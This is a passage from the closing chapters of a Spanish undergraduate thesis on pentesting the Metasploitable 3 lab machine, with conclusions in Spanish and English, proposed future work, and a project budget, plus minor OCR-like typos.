metido extorsionar a la victima, ya sea con filtrar informacion, denegar sus servicios
0 encriptar sus datos.

El Pentesting intenta acabar con los problemas de seguridad haciéndose pasar
por cibercriminales, detectando tantas vulnerabilidades como sea posible por un
equipo profesional, para asi encontrar las fallas de seguridad del cliente e intentar
gue las arregle antes de que haya consecuencias fatales. Es bastante dificil no
encontrar ninguna vulnerabilidad al realizar una auditoria a una empresa, ya que
siempre se suele quedar algo expuesto.

Desgraciadamente, se sigue dando menos importancia de la necesaria a la ci-
berseguridad, destinando poco presupuesto a la misma o simplemente ignorando
las recomendaciones hechas por los profesionales del sector, aunque hay una clara
tendencia para la mejoria del mismo.

En este Trabajo de Fin de Grado se han expuesto vulnerabilidades que son
complejas y otras mas sencillas en un entorno controlado como es la maquina
MetaSploitable 3. A dia de hoy se siguen encontrando vulnerabilidades basicas en
muchisimas empresas. Generalmente en la empresa el usuario es el punto débil e
intenta evitar muchas medidas de seguridad implementadas como por ejemplo
el doble factor de autenticacion o la politica de contrasefas.

Finalmente, el Pentesting es una herramienta muy util bien usada, pero no
sirve de nada si la concienciacion de los usuarios no es la suficiente, debido a
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gue si un servicio esta bien protegido y con una buena configuracion, pero se
obtienen unas credenciales validas debido a que un usuario cae en una campana
de Phising se podra acceder al sistema. Por lo tanto queda mucho camino por
recorrer, sobretodo en la concienciacion del usuario con un perfil no técnico.

8.2. Lineas Futuras de Trabajo

El trabajo tiene caracter divulgativo, asi que se puede continuar por diversas
lineas.

En primer lugar, se podria realizar otro ejercicio de auditoria en otro entorno
controlado y seguir explicando técnicas no expuestas anteriormente y como se
podrian solucionar las mismas.

En segundo lugar, se podria realizar el ejercicio antagonista, desplegando la
maquina MetaSploitable 3 e intentando implementar toda la seguridad necesaria
para que no sea vulnerable a ninguna de las técnicas explicadas anteriormente,
simulando asi ser el que ha solicitado la auditoria e interpretando este trabajo
como un informe de la auditoria realizada. Esto conllevaria la actualizacion de
los servicios en las que habra que mantener la configuracion actual o cambiar la
configuracion existente para arreglar los fallos de seguridad.

Por ultimo, se podria seguir explorando la maquina MetaSploitable 3, com-
probando que no hay mas vulnerabilidades o probando diferentes vectores de
ataques a los aplicados.
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Capitulo 9

Summary and Conclusions

9.1. Conclusions

Currently within computing, the field we know as cybersecurity is constantly
developing, both its offensive and defensive sides. Likewise, as the defenses applied
by organizations evolve, the development of much more devastating, planned and
sophisticated cyberattacks advances. In addition, a study of the victim is perfor-
med in them to identify the critical services of the organization and after having
compromised them, extort money from the victim, either by leaking information,
denying their services or encrypting their data.

Pentesting attempts to decrease security problems acting like cybercriminals,
detecting as many vulnerabilities as possible by a professional team, in order to
find the client’s security flaws and try to fix them before they actually happen.
It is quite difficult not to find any vulnerability when auditing a company, since
something is always left exposed.

Unfortunately, cybersecurity continues to be given less importance than neces-
sary, allocating little budget to it or simply ignoring the recommendations made
by professionals in the sector, although there is a clear trend for its improvement.

In this End-of-Degree Project, vulnerabilities that are complex and others that
are simpler in a controlled environment such as the MetaSploitable 3 machine
have been exposed. Basic vulnerabilities are still found in many companies today.
Generally, in the company, the user is the weakest point and tries to avoid many
security measures implemented, such as the double authentication factor or the
password policy.

Finally, Pentesting is a very useful tool when it is well used, but it is useless
if user awareness is not sufficient, because if a service is well protected and well
configured, but valid credentials were leaked because a user falls for a Phising
campaign the cybercriminal will be able to access the system. Therefore, there is
still a long way to go, especially in non-technical user awareness.
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Capitulo 10

Presupuesto

Todas las herramientas utilizadas son de cddigo abierto o gratuitas, por lo que
el presupuesto se basara en la duracion de la asignartura del Trabajo de Fin de
Cradoy el salario de un analista de ciberseguridad que realice el proyecto. Ademas
incluiré el material que he necesitado para llevar a cabo la auditoria.

Personal Tiempo | Presupuesto
Analista de ciberseguridad | 4 meses | 1.400€
Total: 5.600€

Tabla 10.1: Presupuesto del personal requerido

Equipo Cantidad | Presupuesto
Ordenador portatil | 1 1.399€
Total: 1.399

Tabla 10.2: Presupuesto del material requerido

El proyecto tendra un coste total de: 6.999€
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